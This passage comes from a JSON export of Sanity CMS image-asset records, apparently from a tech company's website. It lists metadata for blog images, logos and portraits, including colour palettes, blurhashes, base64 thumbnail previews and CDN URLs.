ff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1c0c14","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#1c0c14","foreground":"#fff","population":0.02,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#6b2d4c","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d7a2bc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c84","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b24c7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/gif","originalFilename":"zod-schema-inferred-type.gif","path":"images/sczeoy4w/production/c508127fbdc5d895f26a4951e8440386d43f8f15-860x404.gif","sha1hash":"c508127fbdc5d895f26a4951e8440386d43f8f15","size":266095,"uploadId":"rvEuCBR5DwCQZfqkgk0i33mloOEknBsh","url":"https://cdn.sanity.io/images/sczeoy4w/production/c508127fbdc5d895f26a4951e8440386d43f8f15-860x404.gif"} {"_createdAt":"2022-09-07T06:37:45Z","_id":"image-c536900cc26fcce9a13b096cd8a2e2a1076d33c7-1567x844-png","_rev":"QRl2cGoCgj0FlAhkRriNWF","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:29:43Z","assetId":"c536900cc26fcce9a13b096cd8a2e2a1076d33c7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPR[-_{zxFBp;1Xm$zOER+#++aOYS4wIbw","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAACoUlEQVQokWWTPUxTURzFb6ltKaWIfPqB0RiJEcHFD0RFxGiMDm4aB+Ni1MjAhG3po5W2FAqlr7WtgBAgxohf0ZgYBxfUMJiYaGKMgw66aAxxAKICpbz7M+8JxsTh5J7hf889+Z9zBR4zeK2g2MBrAY8J3OIvpA6XQHoEUjEhvSamWqyMX1jN8PkdPFUa+RbZwmI4D9rNCHz5EF4HkY3QuR461kCwFBkqh3AFhMqRbXak3ww9Nua7cnnbWkHy0kEunj6O5+whXvi38ytejIzbEfplkjthoAHZX4/s349M1yL79iIHG5B9u5GRNdCZi+xz8PVqGY9CjSS7FdoUhUDTCSb8lfxMriJ7zbkkmNoFQ0dg6DAMHkJePwADdZCqBnUDsmcVxPKYTTt5Gd3MUOQcN2+Mcv/ubZ4M+/mY3sePVCkL1woQBIpBrQHdmY6+OmR/LTJZjQwXofktZINWtISDqUQBT9q3oYaaGR0Z5vG9UZ6NhXk9cJLPiSqmkmUII5ArhUt701ECoRJkYCVZxcq828xcm5VZ1cmXZDkPg3Wo4RZuDcV5OdLMu9RR3sT28763hsnEWgQugYHlRJfS1VyCBVcOGbeZjM/C966VTESqGAyeIt3rY3zkMpP9e5jtKWImVsxMopS5VCHiv4osc5dA00+vCc2fw1dfAQ88O4h7zzDW28SH4WPMp1ajRWxkY3ksJh3ItANB6wpQ7KDkYvB/RA3uEeAVTHvtPG/dyp22w7zqrWdqYBPz6ULmog7movksqA40Va+NLhYoMSAVO9JtMlaw7NYQbBVkfFa+dFbwKVrJdKycjOoko+az0G0nG7ahhSzIwArdoQWj3D4HBtedLe9U/x1eE/hy0IIWstF8FuNOZLcN2fFHQPpzQJ/RH3YLfgMSujFGfSXpgAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#362f49","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#943405","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":37.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b9b7d7","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f6cb7e","foreground":"#000","population":0.39,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a79e6a","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7404","foreground":"#fff","population":37.87,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c536900cc26fcce9a13b096cd8a2e2a1076d33c7-1567x844.png","path":"images/sczeoy4w/production/c536900cc26fcce9a13b096cd8a2e2a1076d33c7-1567x844.png","sha1hash":"c536900cc26fcce9a13b096cd8a2e2a1076d33c7","size":417275,"uploadId":"WZETbC2dDfeYSMsXUUUPIDyp7mVHiU5z","url":"https://cdn.sanity.io/images/sczeoy4w/production/c536900cc26fcce9a13b096cd8a2e2a1076d33c7-1567x844.png"} {"_createdAt":"2023-11-10T12:42:43Z","_id":"image-c53f6400766fe2aaee769a850703f7d83ffea002-334x222-jpg","_rev":"2Eye2NjagEp5aUWL7qaUNn","_type":"sanity.imageAsset","_updatedAt":"2023-11-10T12:42:43Z","assetId":"c53f6400766fe2aaee769a850703f7d83ffea002","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"VCCitCIm~o%FEn9an$V?NIsm00o$4;V_$w?Zt7%Ms,oJ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5045045045045045,"height":222,"width":334},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAUCBAYH/8QAIhAAAQQCAgIDAQAAAAAAAAAAAQIDBBEABQcSBiJBYXGB/8QAFQEBAQAAAAAAAAAAAAAAAAAAAgP/xAAbEQEAAgMBAQAAAAAAAAAAAAABAhEAAxIhcf/aAAwDAQACEQMRAD8A5JN4c3bE5EZuRFd7A+wVQFfBxdruMtrO2iILciKHCrqVFwUDkZXmO83ezjKnzXFEKodD1Ffgy5oZq4u6kKQLUsXZJsH6wu/Xri9Rt+5aOlmlNe5pHOEXY7imX9nbqDS+jRIB+j84Yincg+UQ5TjMfbvhpJ9QqlEf04ZaPKDWBKac/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4854","foreground":"#fff","population":0.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#13218d","foreground":"#fff","population":0.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c7aac4","foreground":"#000","population":1.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7aac4","foreground":"#000","population":1.56,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#69d4fa","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a45c8c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#198ef1","foreground":"#fff","population":0.3,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Avaya Office NYC.jpeg","path":"images/sczeoy4w/production/c53f6400766fe2aaee769a850703f7d83ffea002-334x222.jpg","sha1hash":"c53f6400766fe2aaee769a850703f7d83ffea002","size":24945,"uploadId":"Uy2jVLFuE79jNsD0eJt9cMODtZzdhajB","url":"https://cdn.sanity.io/images/sczeoy4w/production/c53f6400766fe2aaee769a850703f7d83ffea002-334x222.jpg"} {"_createdAt":"2022-06-15T20:01:48Z","_id":"image-c56a5099dc7a941d0b94d0ffdaf896cf424dc7d3-752x405-png","_rev":"CK1sLU2mnwa3vmbYWEbREE","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:54Z","assetId":"c56a5099dc7a941d0b94d0ffdaf896cf424dc7d3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MSABR,V@M{ofRj4Taxxuj[j[_NayR*j[az","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAClUlEQVQokR3N209ScQAH8PP7HUTlDucKyOVwEYTDHREIUw4K6ioylzPn1JpOrfWQPbhmD7W19dD1pdltpa5mapqJNiqXK5dlgqAE2n/TcPs8fbfv94sArAbIVUBGAymJSIgyKQVkVDnE1BDXQEKPkkwFbaxUWyr1LN/kqbYFZZ4oHWxDAK4DCg2Qq4HseEJGARkN5WqIaSGhhyQDKSOkjCKGNdQ3G8KtYke40h4Wezk82I4AwgAwPcB0x7QAq4GKGqjQQFwHCQYlDShlRGmT0hnu6Btu6x+jgnEeGxF4OEmg/GwCmAFgTBnOAIKBx8o10sijTKjSjCotuK0hnOwLdg0qAgmUPcl3cwJfKwJwM8DNfMoi1tileqdQywq0rFDvEDEuMeMWG71ik09s9kssDaSXowIJkYurYJt4zijfHUMAbkVJq5TxGXycqaFF5YiQtiBhCxG2EG4P42yEcDXRHo5wc5g7RvjjmD8ucEVRthk6OQTSTlTpFhmCtDNGu2Iya0RUGxbWhqotoSrriaq6RoE9KnK1CF1xoTsh9XZIvO1VjlZo44A9hgAzB+sSFa7Twvouaahb3tiDc73K9n7NmUu6zmHduRFN54jq7CiZHFOcGhUnhqqaB3ihHujvAp4kouq+rhu8WXf1buDG49idp8kHr3un3oxML1ybW5lYTE0spsbffbz8duXizPL55/PxR7P1t6cs4/c1Q7fInglk4NXilfnU5NrGvW9bz7Z3ZnYzc7ncUuFg/aiY/lf6dFRaOyquHhaXSn/nCgevsrmHP3cmv3wfXUpfmP6APNncfLH1Y/bX9sKf3+t7mXQuu7qXSeWznwv5r4V8Kr+3nMuu7OdShXy6uL9xWEiXCu8P8jO57MvdzH9mnrXsxAH2GAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a3c43","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#135979","foreground":"#fff","population":6.44,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#b7d6d3","foreground":"#000","population":13.96,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7d6d3","foreground":"#000","population":13.96,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d7edec","foreground":"#000","population":0.59,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#848c8c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0e859e","foreground":"#fff","population":1.18,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c56a5099dc7a941d0b94d0ffdaf896cf424dc7d3-752x405.png","path":"images/sczeoy4w/production/c56a5099dc7a941d0b94d0ffdaf896cf424dc7d3-752x405.png","sha1hash":"c56a5099dc7a941d0b94d0ffdaf896cf424dc7d3","size":137583,"uploadId":"jLqY7W7Gu66NXCg9KgolCqEufZtNpvua","url":"https://cdn.sanity.io/images/sczeoy4w/production/c56a5099dc7a941d0b94d0ffdaf896cf424dc7d3-752x405.png"} {"_createdAt":"2022-06-14T14:41:03Z","_id":"image-c59e84cf781cc1c9f0d1f5013b18ee2b90221b11-1500x1500-jpg","_rev":"qkpX9b3U0TpOGFQp8XG09A","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:03Z","assetId":"c59e84cf781cc1c9f0d1f5013b18ee2b90221b11","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eeRyW-of?^V@Md%Lofo#t7RPo~WBMxWBtRtlj[i_fkbbtRaeV@kCR*","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":1500,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGAABAQADAAAAAAAAAAAAAAAAAAYDBwj/xAAkEAACAgIBAgcBAAAAAAAAAAABAgADBAURBiESEzEzUWFxQf/EABcBAAMBAAAAAAAAAAAAAAAAAAACAwT/xAAbEQACAgMBAAAAAAAAAAAAAAAAAQISAxEhQf/aAAwDAQACEQMRAD8A6c3WW+DqsrKqTzHqrLBfkyN6S6i2uVtaadg9N9eSpYCteDV9GV20tS7GuxVPLWKVJ/gkH0Zi5Ok32UmzsFwCgVMvwT6yU7WWnw0YlCkrLvhs2IB5HIiVM5NYDs9YZu5buf2Y8pVPLlR4uQOfqIgOU9ftr+CIiAh//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#725247","foreground":"#fff","population":3.86,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#50341c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#725247","foreground":"#fff","population":3.86,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dcbbb0","foreground":"#000","population":2.86,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f0a88d","foreground":"#000","population":3.81,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#af735d","foreground":"#fff","population":0.96,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de9464","foreground":"#000","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"Kyle_Buzzell_2019_2__1_.jpg","path":"images/sczeoy4w/production/c59e84cf781cc1c9f0d1f5013b18ee2b90221b11-1500x1500.jpg","sha1hash":"c59e84cf781cc1c9f0d1f5013b18ee2b90221b11","size":175954,"uploadId":"04oHAU3tEk2F798Hvf2Oo3b6SWOSDsV5","url":"https://cdn.sanity.io/images/sczeoy4w/production/c59e84cf781cc1c9f0d1f5013b18ee2b90221b11-1500x1500.jpg"} {"_createdAt":"2022-09-15T13:56:44Z","_id":"image-c5a6d3545fa1d41af919095c73e9d5bb00e06c12-860x860-jpg","_rev":"oP937kX6v07bcvrIPJgXGa","_type":"sanity.imageAsset","_updatedAt":"2022-09-15T13:56:44Z","assetId":"c5a6d3545fa1d41af919095c73e9d5bb00e06c12","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"esPGQ,t7?^WCVr_3f6ogayM{E2bHROoetR-;WBoJofR*t7fQM{ofWC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":860,"width":860},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGQABAAMBAQAAAAAAAAAAAAAAAAYHCAMF/8QAJBAAAQQBBAICAwAAAAAAAAAAAQACAwQFBhESMRMhUWEiQYH/xAAWAQEBAQAAAAAAAAAAAAAAAAADBAL/xAAaEQEBAAMBAQAAAAAAAAAAAAABAAIDMRIh/9oADAMBAAIRAxEAPwDTGorU1LDWZ63ETNb+Jd0D8qtdJamz0Osa2LyVyHIV7QJ5NbxMR7U51fmcfUxlmCe1E2wWHjGT7J+NlWOiszDFqyCfOVzSbxLK75CBuf2T9Ic3L2Byo1mDryXteCLnDNFPGJIZGvYenNO4KJqezDn7Et3NXbFhxdL5T7/q8HO3LFmfyTyve4DiNz0PpEViHywPaSaGz2SrYUxRWpAwSu2BO+3oIiIHtq//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4f3a31","foreground":"#fff","population":1.85,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5d3827","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e5b295","foreground":"#000","population":3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ddcac2","foreground":"#000","population":0.67,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5b295","foreground":"#000","population":3,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a47f70","foreground":"#fff","population":3,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bd8064","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"roman-inflianskas.jpg","path":"images/sczeoy4w/production/c5a6d3545fa1d41af919095c73e9d5bb00e06c12-860x860.jpg","sha1hash":"c5a6d3545fa1d41af919095c73e9d5bb00e06c12","size":83217,"uploadId":"BDHqGJAwd7RqzWYyHhnWQ9NkBy30nCAp","url":"https://cdn.sanity.io/images/sczeoy4w/production/c5a6d3545fa1d41af919095c73e9d5bb00e06c12-860x860.jpg"} {"_createdAt":"2022-12-07T13:19:19Z","_id":"image-c5f8fc01907ec00b34b155c9fb3d4a118504c1de-1567x844-png","_rev":"fuFsKkOoAJwNVpPrIJtzEL","_type":"sanity.imageAsset","_updatedAt":"2022-12-07T13:19:48Z","altText":null,"assetId":"c5f8fc01907ec00b34b155c9fb3d4a118504c1de","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEH1lJ010eB=[S00~Vk?]~NyLMt8:*R4KP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAAC5ElEQVQokW2RXWhTdxjGz727GHgjejG8EexYcpKck+YkMVnisrVp08bkJF3zpZLVD6SbdpWx6dTGRGKxVmmjglUyHF010mhN15quStm6NA1MHAx2NRgb29jt6LqL7vxGjkwQvHh43wf+/Hie9y/IsozD4cBut6MoyvO9OV0uF263G7fbhdPpRFFs+pumJElCFEWMRuNzNb3g8XiIRCLEYjGi0ai+q6pKKBTSfSKRIJlK8W5vr+6jPT10BgI61GSWMMsKJotVh4lGI4LP5yMej9PX10c6ndbBXV1dtLW14ff72RPsJqF2c0jtZCDaydFIF71tPpytViSbC9vuPcgOH6LJ/Azo9Xr1NMlkklQqRTAY1OtZLBbsspkel5Gz7S1MBl9nRpWYUt9kJNzO4XCQULgXf3gfbl8ASX6WUrBarTqgWb2p5m62WJBNBmK7dlAMbuP75FZ+fM9AvT/Aw8E0lcwnlApjjI5cZGDwI1J799Pe7qfJEvTuL1Gn0sL18FZ+Ofgqvx1+jbkP/EycPk4hn+WzqwVm75X5YnKSfD7PiY+PM3Akzr6IE+GFX9KniGw28L5vO0/Sr7Dev4nvDu1kpD/OpydPcmYow/nhYW7cvEmhcIXM0CkuZw9y/9I7LFx8Q0+o/S+TKGoGo6jtkg3acGg7vx7brP01uEV7eEQhc+wAQ0MZcrks53I5xsfHGB29xHDuBA8KKr+XdrI+sw2h1STikCXsNpt+A5tNQQ28zY0Pu7WfxqL8PJ5g7sJRitfGKJXucvv2FMVikVLpDtPTZaanJnhaPsDfX7bA3BYEp1nc2K3YNrwu14bH6/k3Ho9r+dxZrXzrGrXK51pj/o62vFChtvwNtVqNxcVF5ufnWVpaol6v8+3Xj3jy1WX+WIix/vgtBMkkrlkt5rVWq7zW0dHxTzab3XgwM6PNzlYol8tatVrV6qurrKys6KBKpUK1WtWBjUaDRmOV5aU5fli+xZ9PJ/gPQNjicwWGzlYAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#303d58","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#37270e","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f88114","foreground":"#000","population":10.05,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9b8b8","foreground":"#000","population":0.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec4c2f","foreground":"#fff","population":1.17,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6a84b2","foreground":"#fff","population":0.15,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f88114","foreground":"#000","population":10.05,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"ClickHouse_release_announcement_blog.png","path":"images/sczeoy4w/production/c5f8fc01907ec00b34b155c9fb3d4a118504c1de-1567x844.png","sha1hash":"c5f8fc01907ec00b34b155c9fb3d4a118504c1de","size":515220,"title":"Aiven for ClickHouse is here [a bank of servers on a cloud]","uploadId":"NGUMmFMOmiqrhju7E1SJQzjSCm9x4eHS","url":"https://cdn.sanity.io/images/sczeoy4w/production/c5f8fc01907ec00b34b155c9fb3d4a118504c1de-1567x844.png"} {"_createdAt":"2023-02-02T17:22:13Z","_id":"image-c60172501ea01fa6cc6c897f040a84bcc1cd7650-800x634-jpg","_rev":"pnOvEyahjeT2Gte9fkmeSJ","_type":"sanity.imageAsset","_updatedAt":"2023-02-02T17:23:04Z","altText":"Armilar Venture Partners logo","assetId":"c60172501ea01fa6cc6c897f040a84bcc1cd7650","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2618296529968454,"height":634,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAQABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAYEBQcI/8QAIhAAAQQBAwUBAAAAAAAAAAAAAQIDBBEABQYhEhMUQUJh/8QAFQEBAQAAAAAAAAAAAAAAAAAAAwT/xAAZEQACAwEAAAAAAAAAAAAAAAAAAgEDETH/2gAMAwEAAhEDEQA/AOltxzFQdKdfQjroURmebUeclboaeivJKWr76jwDfyPwY2axMnvOupirj+L7Cxdj3eQYrcuGFhpmElw0UqQmhWMlsKkrnSd6ZeyH3g8DkYZT6ZqQRDbE51Jf+ikcYYJQf//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#23344f","foreground":"#fff","population":0.98,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a4a75","foreground":"#fff","population":2.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#82a4b5","foreground":"#000","population":2.45,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b8d1dc","foreground":"#000","population":1.61,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcf2f5","foreground":"#000","population":0.48,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#82a4b5","foreground":"#000","population":2.45,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1cb8e8","foreground":"#fff","population":0.87,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"logo-armilar.jpg","path":"images/sczeoy4w/production/c60172501ea01fa6cc6c897f040a84bcc1cd7650-800x634.jpg","sha1hash":"c60172501ea01fa6cc6c897f040a84bcc1cd7650","size":47678,"title":null,"uploadId":"pTxQFe9FOwpeYqELlEQGCl282ZXL5HTb","url":"https://cdn.sanity.io/images/sczeoy4w/production/c60172501ea01fa6cc6c897f040a84bcc1cd7650-800x634.jpg"} {"_createdAt":"2022-06-30T19:59:52Z","_id":"image-c62179f12d42f65b292371ef3eaabff73936e0e5-1600x471-png","_rev":"QRl2cGoCgj0FlAhkRrhz4E","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:23:18Z","assetId":"c62179f12d42f65b292371ef3eaabff73936e0e5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DXTN?SufenrEe-#7ivf$kXf8","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.397027600849257,"height":471,"width":1600},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAABcRAAAXEQHKJvM/AAABUElEQVQYlU3OzWvSARzHcf+DTkGX0cOxQzuMHnXLJVOJNN0q8iGGblGroKCgMlhjiKugkGIFS3vyEhEELbpF1P6v7yt+QtThzef24pPycFdEbyI8PsCj/aE3QXcv6wd5MMWto6xkWS7ROM9Ck0qbUovKUlIoNJheCOlqpGJ9d0R/MrxMs3k8vDhMf4qnx9jIsjpHp8K9RW5eZvkqzWtcWKF2ndqNSPA4eS5iDHb3xBgaFhnkwyDPVo7NWfpFnlTo1Vlrc2eJxUuUauTrFJpJIXfx30PPDvGxzbdO2L6fLNsdvtzlc4dP67xbpbvElTLVIrnTTJ8lXf1bgpGZl/JqJnxfCztvxM4w/B7ya8DP1/xIes/XTXotmicopZnLM1MmUxWZ+UggyY4fbuwLW4UwaohRY7xGdT7Uedtg2OJ5k9uz1CYpH6FwiuyZ/8DxuzH4B6++TM3zuvwlAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#8a520e","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c47414","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f96e09","foreground":"#fff","population":19.6,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bdcdba","foreground":"#000","population":0.03,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc7cac","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#c0af99","foreground":"#000","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f96e09","foreground":"#fff","population":19.6,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"c62179f12d42f65b292371ef3eaabff73936e0e5-1600x471.png","path":"images/sczeoy4w/production/c62179f12d42f65b292371ef3eaabff73936e0e5-1600x471.png","sha1hash":"c62179f12d42f65b292371ef3eaabff73936e0e5","size":56153,"uploadId":"PnnbPXVSzQAN4vgyV8n6nzRjYH8eG0Tz","url":"https://cdn.sanity.io/images/sczeoy4w/production/c62179f12d42f65b292371ef3eaabff73936e0e5-1600x471.png"} {"_createdAt":"2022-12-16T10:30:29Z","_id":"image-c6389917b03366bbca71c7a158c76e40b68ec762-1200x630-jpg","_rev":"3re4XGUaXqpLG8nUTRQBvM","_type":"sanity.imageAsset","_updatedAt":"2022-12-16T10:30:29Z","assetId":"c6389917b03366bbca71c7a158c76e40b68ec762","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MPPsbXys%MMI%~TJROw{XmoMyEMdXQt7RP","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAUGB//EACMQAAICAQMDBQAAAAAAAAAAAAECAwQABQYRITFBEhVhcZH/xAAWAQEBAQAAAAAAAAAAAAAAAAADAQL/xAAeEQACAgICAwAAAAAAAAAAAAABAgADESEEEiIxkf/aAAwDAQACEQMRAD8A3uxS1BpmaG1whPIBPYZMbvvXNOhgaG2TPBKHkUv0K/GWsIAtOev7k7uKhVt7j09bEKupB5B8/eSzsV8Y/GrD2Yb0N/NxptfVfd9GhtsR6m5B4HkYYyrV4a0IigjWONeyqOAMM0gIUAw